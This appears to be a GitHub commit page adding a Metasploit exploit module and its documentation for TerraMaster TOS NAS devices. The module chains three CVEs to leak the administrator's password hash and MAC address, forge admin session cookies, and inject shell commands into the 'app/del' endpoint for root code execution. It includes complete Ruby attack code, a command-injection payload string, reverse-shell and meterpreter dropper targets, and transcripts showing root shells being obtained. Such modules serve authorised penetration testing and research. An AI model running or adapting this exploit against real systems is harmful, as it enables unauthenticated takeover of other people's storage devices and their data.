Skip to content

Commit c8609d7

Browse files
committed
Land rapid7#18070, add TerraMaster chained exp module
2 parents 7ab610c + dfc366e commit c8609d7

File tree

2 files changed

+359
-0
lines changed

2 files changed

+359
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
## Vulnerable Application
2+
3+
This module provides a Terramaster chained exploit that performs session crafting to achieve escalated privileges
4+
that allows an attacker to access vulnerable code execution flaws. TerraMaster Operating System (TOS) versions
5+
`4.2.15` and below are affected.
6+
7+
[CVE-2021-45839](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45839) is exploited to obtain the first administrator's
8+
hash set up on the system as well as other information such as MAC address, by performing a POST request to the
9+
`/module/api.php?mobile/webNasIPS` vulnerable endpoint.
10+
This information is used to craft an unauthenticated admin session using vulnerability
11+
[CVE-2021-45841](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45841) where an attacker can self-sign session cookies
12+
by knowing the target MAC address and the user password hash. Guest users (disabled by default) can be abused using a null/empty hash
13+
and allow an unauthenticated attacker to login as guest which is used to download the `/etc/group` info to obtain the list of admin users
14+
to be used for the session crafting.
15+
16+
Finally, [CVE-2021-45837](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45837) is exploited to execute arbitrary commands as root
17+
by sending a specifically crafted input to vulnerable endpoint `/tos/index.php?app/del`.
18+
19+
This module has been tested against a TerraMaster `F2-221` Model with the specifications listed below:
20+
21+
* TerraMaster F2-221
22+
* CPU: `x86`
23+
* TOS Version: `4.2.08`
24+
25+
## Verification Steps
26+
27+
1. `use exploit/linux/http/terramaster_unauth_rce_cve_2021_45837`
28+
1. `set RHOSTS <TARGET HOSTS>`
29+
1. `set RPORT <port>`
30+
1. `set LHOST <attacker host ip>`
31+
1. `set LPORT <attacker host port>`
32+
1. `set TARGET <0-Unix command or 1-Linux Dropper>`
33+
1. `exploit`
34+
1. You should get a `bash` shell or `meterpreter` session depending on the `target` and `payload` settings.
35+
36+
## Options
37+
No specific options.
38+
39+
## Scenarios
40+
41+
### TerraMaster F2-210 TOS 4.2.08 - Unix Command `cmd/unix/reverse_bash` session
42+
```
43+
msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 0
44+
target => 0
45+
msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit
46+
47+
[*] Started reverse TCP handler on 192.168.10.1:4444
48+
[*] Running automatic check ("set AutoCheck false" to disable)
49+
[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64.
50+
[*] Executing Unix Command for cmd/unix/reverse_bash
51+
[*] Command shell session 1 opened (192.168.10.1:4444 -> 192.168.10.2:41822) at 2023-06-06 07:27:36 +0000
52+
53+
uname -a
54+
Linux TerrorMaster 4.13.16 SMP Tue Jun 06 09:28:43 CET 2023 x86_64 GNU/Linux
55+
id
56+
uid=0(root) gid=0(root) groups=0(root)
57+
```
58+
### TerraMaster F2-210 TOS 4.2.08 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session
59+
```
60+
msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > set target 1
61+
target => 1
62+
msf6 exploit(linux/http/terramaster_unauth_rce_cve_2021_45837) > exploit
63+
64+
[*] Started reverse TCP handler on 192.168.10.1:4444
65+
[*] Running automatic check ("set AutoCheck false" to disable)
66+
[+] The target is vulnerable. TOS version is 4.2.08 and CPU architecture is X64.
67+
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
68+
[*] Sending stage (3045348 bytes) to 127.0.0.1
69+
[*] Meterpreter session 2 opened (192.168.10.1:4444 -> 192.168.10.2:36938) at 2023-06-06 07:29:50 +0000
70+
[*] Command Stager progress - 100.00% done (823/823 bytes)
71+
72+
meterpreter > sysinfo
73+
Computer : 192.168.10.2
74+
OS : (Linux 4.13.16)
75+
Architecture : x64
76+
BuildTuple : x86_64-linux-musl
77+
Meterpreter : x64/linux
78+
meterpreter > getuid
79+
Server username: root
80+
meterpreter >
81+
```
82+
83+
## Limitations
84+
No limitations.
Lines changed: 275 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,275 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'digest/md5'
7+
require 'time'
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::CmdStager
14+
include Msf::Exploit::FileDropper
15+
prepend Msf::Exploit::Remote::AutoCheck
16+
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.',
22+
'Description' => %q{
23+
Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows
24+
an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.
25+
CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other
26+
information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.
27+
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker
28+
can self-sign session cookies by knowing the target MAC address and the user password hash.
29+
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker
30+
to login as guest.
31+
Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted
32+
input to vulnerable endpoint `/tos/index.php?app/del`.
33+
},
34+
'License' => MSF_LICENSE,
35+
'Author' => [
36+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
37+
'n0tme' # Discovery and POC
38+
],
39+
'References' => [
40+
['CVE', '2021-45837'],
41+
['CVE', '2021-45839'],
42+
['CVE', '2021-45841'],
43+
['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'],
44+
['PACKETSTORM', '165399'],
45+
['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837']
46+
],
47+
'DisclosureDate' => '2021-12-24',
48+
'Platform' => ['unix', 'linux'],
49+
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],
50+
'Privileged' => true,
51+
'Targets' => [
52+
[
53+
'Unix Command',
54+
{
55+
'Platform' => 'unix',
56+
'Arch' => ARCH_CMD,
57+
'Type' => :unix_cmd,
58+
'DefaultOptions' => {
59+
'PAYLOAD' => 'cmd/unix/reverse_bash'
60+
}
61+
}
62+
],
63+
[
64+
'Linux Dropper',
65+
{
66+
'Platform' => 'linux',
67+
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
68+
'Type' => :linux_dropper,
69+
'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],
70+
'DefaultOptions' => {
71+
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
72+
}
73+
}
74+
]
75+
],
76+
'DefaultTarget' => 0,
77+
'DefaultOptions' => {
78+
'RPORT' => 8181,
79+
'SSL' => false
80+
},
81+
'Notes' => {
82+
'Stability' => [CRASH_SAFE],
83+
'Reliability' => [REPEATABLE_SESSION],
84+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
85+
}
86+
)
87+
)
88+
register_options([
89+
OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])
90+
])
91+
end
92+
93+
def get_data
94+
# Initialise instance variable data to store the leaked data
95+
@data = {}
96+
97+
# Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`.
98+
# CVE-2021-458439
99+
res = send_request_cgi({
100+
'method' => 'POST',
101+
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),
102+
'headers' => {
103+
'User-Agent' => 'TNAS',
104+
'User-Device' => 'TNAS'
105+
}
106+
})
107+
108+
if res && res.code == 200 && res.body.include?('webNasIPS successful')
109+
# Parse the JSON response and get the data such as admin password hash and MAC address
110+
res_json = res.get_json_document
111+
unless res_json.blank?
112+
@data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip
113+
@data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip
114+
@data['key'] = @data['mac'][6..11] # last three MAC address entries
115+
@data['timestamp'] = Time.new.to_i.to_s
116+
# derive signature
117+
@data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])
118+
end
119+
end
120+
end
121+
122+
def tos_encrypt_str(key, str_to_encrypt)
123+
id = key + str_to_encrypt
124+
return Digest::MD5.hexdigest(id.encode('utf-8'))
125+
end
126+
127+
def get_headers
128+
{
129+
'User-Agent' => 'TNAS',
130+
'User-Device' => 'TNAS',
131+
'Authorization' => @data['password'],
132+
'Signature' => @data['signature'],
133+
'Timestamp' => @data['timestamp']
134+
}
135+
end
136+
137+
def download_admin_users
138+
# Initialise instance variable admin_users to store the admin users from /etc/group
139+
@admin_users = []
140+
141+
# Download /etc/group information to find all the admin users belonging to the group admin.
142+
# Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication.
143+
# CVE-2021-45841
144+
res = send_request_cgi({
145+
'method' => 'POST',
146+
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'),
147+
'ctype' => 'application/x-www-form-urlencoded',
148+
'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}",
149+
'headers' => get_headers,
150+
'vars_post' => {
151+
'path' => '/etc/group'
152+
}
153+
})
154+
# get the admin users from /etc/group
155+
if res && res.code == 200 && res.body.include?('admin')
156+
res.body.each_line do |line|
157+
next if line.empty?
158+
159+
field = line.split(':')
160+
next unless field[0] == 'admin'
161+
162+
@admin_users = field[3].strip.split(',')
163+
break
164+
end
165+
end
166+
end
167+
168+
def get_session
169+
# Use session crafting to iterate thru the list of admin users to gain a session.
170+
# We will send two request per admin user. First request is a dummy request to obtain the session-id.
171+
# This session-id will be used to send the second request that will execute the echo command with marker.
172+
# if the response contains the marker, then the session has been successfully established.
173+
# CVE-2021-45837
174+
session = false
175+
marker = Rex::Text.rand_text_alphanumeric(8..16)
176+
for admin in @admin_users
177+
res = send_request_cgi({
178+
'method' => 'GET',
179+
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),
180+
'ctype' => 'application/x-www-form-urlencoded',
181+
'keep_cookies' => true,
182+
'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}",
183+
'headers' => get_headers
184+
})
185+
if res && res.code == 302 && !res.body.include?(marker.to_s)
186+
# Send second request to establish a session and break from the loop if true.
187+
res = send_request_cgi({
188+
'method' => 'GET',
189+
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),
190+
'ctype' => 'application/x-www-form-urlencoded',
191+
'keep_cookies' => true,
192+
'headers' => get_headers
193+
})
194+
end
195+
next unless res && res.code == 200 && res.body.include?(marker.to_s)
196+
197+
session = true
198+
break
199+
end
200+
session
201+
end
202+
203+
def get_terramaster_info
204+
# get Terramaster CPU architecture (X64 or ARM64) and TOS version
205+
@terramaster = {}
206+
res = send_request_cgi({
207+
'method' => 'GET',
208+
'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')
209+
})
210+
211+
if res && res.body && res.code == 200
212+
# get the version information from the request response like below:
213+
# <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>
214+
return if res.body.match(/ver=.+?"/).nil?
215+
216+
version = res.body.match(/ver=.+?"/)[0]
217+
# check if architecture is ARM64 or X64
218+
if version.match(/_A/)
219+
@terramaster['cpu_arch'] = 'ARM64'
220+
elsif version.match(/_S/) || version.match(/_Q/)
221+
@terramaster['cpu_arch'] = 'X64'
222+
else
223+
@terramaster['cpu_arch'] = 'UNKNOWN'
224+
end
225+
226+
# strip TOS version number and remove trailing double quote.
227+
@terramaster['tos_version'] = version.split('.0_')[1].chop
228+
end
229+
end
230+
231+
def execute_command(cmd, _opts = {})
232+
# Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;<PAYLOAD>;%23`
233+
# CVE-2021-45837
234+
payload = CGI.escape(cmd)
235+
send_request_cgi({
236+
'method' => 'GET',
237+
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"),
238+
'ctype' => 'application/x-www-form-urlencoded',
239+
'keep_cookies' => true,
240+
'headers' => get_headers
241+
})
242+
end
243+
244+
def check
245+
get_terramaster_info
246+
return CheckCode::Safe if @terramaster.empty?
247+
248+
if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15')
249+
return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
250+
end
251+
252+
CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
253+
end
254+
255+
def exploit
256+
# get the leaked data
257+
get_data
258+
fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?
259+
260+
download_admin_users
261+
fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty?
262+
263+
fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session
264+
265+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
266+
case target['Type']
267+
when :unix_cmd
268+
execute_command(payload.encoded)
269+
when :linux_dropper
270+
# Don't check the response here since the server won't respond
271+
# if the payload is successfully executed.
272+
execute_cmdstager(linemax: 65536)
273+
end
274+
end
275+
end

0 commit comments

Comments
 (0)